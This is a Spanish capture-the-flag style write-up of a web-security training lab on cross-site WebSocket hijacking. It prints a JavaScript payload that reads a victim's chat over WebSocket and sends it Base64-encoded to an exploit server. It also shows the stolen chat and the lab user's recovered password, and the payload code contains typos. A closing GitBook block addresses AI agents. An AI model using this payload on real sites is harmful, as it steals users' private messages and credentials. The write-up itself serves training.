> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/websockets/cross-site-websocket-hijacking.md).

# Secuestro de WebSocket entre sitios

### Secuestro de WebSocket entre sitios

La aplicación es una tienda en línea con un **chat en vivo** función implementada usando **WebSockets**. / Cada vez que visitas la página del chat, **todo el historial de la conversación se carga automáticamente**, sin un control estricto del origen de la consulta.

<figure><img src="/files/c0900d9c157164c0ecb66b509a999111f341e641" alt=""><figcaption></figcaption></figure>

Los mensajes intercambiados usan el siguiente formato JSON:

```json
{
    "user":"Tú",
    "content":"hola"
}
```

<figure><img src="/files/b6f3818d1f64b1f7e59d29acd6dbb40e3c3b7f59" alt=""><figcaption></figcaption></figure>

Exfiltra el historial del gato de la víctima mediante un ataque de \*\* secuestro de WebSocket entre sitios\*\*, y luego usa la información recuperada para acceder a su cuenta.

***

#### Principio del ataque

L的**Servidor de explotación** se usa para alojar una carga útil HTML/JavaScript que:

1. Establece una conexión WebSocket con el servidor de chat objetivo.
2. Envía el mensaje necesario para iniciar la comunicación (`READY`).
3. Intercepta todos los mensajes recibidos a través del WebSocket.
4. Exfiltra estos mensajes al Servidor de explotación después de codificarlos en Base64.

***

#### Carga útil utilizada

Un `data.js` se crea un archivo con el siguiente contenido:

```javascript
<script>
var ws = new WebSocket("https://0aad0050046d2085eafd2fe700400041.web-security-academy.net/chat");
ws.onopen = functon() {
ws.send("READY");
};
ws.message = function(event) {
fetch("https://exploit-0ac70073043f200fea802ec601950065.exploit-server.net/?data=" + btoa(event.data));
};
</script>
```

Este script se ejecuta en el navegador de la víctima cuando visita el Servidor de explotación y ejecuta automáticamente su sesión autenticada.

<figure><img src="/files/242a195703dd237d82f41f0d5f61a966fbcf5f44" alt=""><figcaption></figcaption></figure>

#### Datos exfiltrados

El servidor de explotación recibe varias cadenas codificadas en Base64, por ejemplo:

{% code overflow="wrap" %}

```bash
eyJ1c2VyIjoiSGFsIFBsaW5lIiwiY29udGVudCI6IkhlbGxvLCBob3cgY2FuIEkgaGVscD8ifQ==
eyJ1c2VyIjoiWW91IiwiY29udGVudCI6IkkgZm9yZ290IG15IHBhc3N3b3JkIn0=
eyJ1c2VyIjoiSGFsIFBsaW5lIiwiY29udGVudCI6Ik5vIHByb2JsZW0gY2FybG9zLCBpdCZhcG9zO3MgYmlqajlrNjFtOGJqdjE4dWc2N3UifQ==
eyJ1c2VyIjoiWW91IiwiY29udGVudCI6IlRoYW5rcywgSSBob3BlIHRoaXMgZG9lc24mYXBvczt0IGNvbWUgYmFjayB0byBiaXRlIG1lISJ9
eyJ1c2VyIjoiQ09OTkVDVEVEIiwiY29udGVudCI6Ii0tIEFob3JhIGNoYW5lYW5kbyBjb24gSGFsIFBsaW5lIC0tIn0=
```

{% endcode %}

Después de la decodificación, se reconstituye el historial completo del chat:

```json
{"user":"Hal Pline","content":"Hola, ¿en qué puedo ayudar?"}
{"user":"Tú","content":"Olvidé mi contraseña"}
{"user":"Hal Pline","content":"No hay problema, carlos, it&apos;s bijj9k61m8bjv18ug67u"}
{"user":"Tú","content":"Gracias, espero que esto no me traiga problemas más adelante"}
{"user":"CONECTADO","content":"-- Ahora chateando con Hal Pline --"}
```

#### Resultado

La información sensible recuperada permite identificar las credenciales de la víctima:

* **Usuario**: carlos
* **Contraseña**: `bijj9k61m8bjv18ug67u`

Luego, estas credenciales se pueden usar para conectarse a la cuenta de Carlos y validar el laboratorio.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/web/websockets/cross-site-websocket-hijacking.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
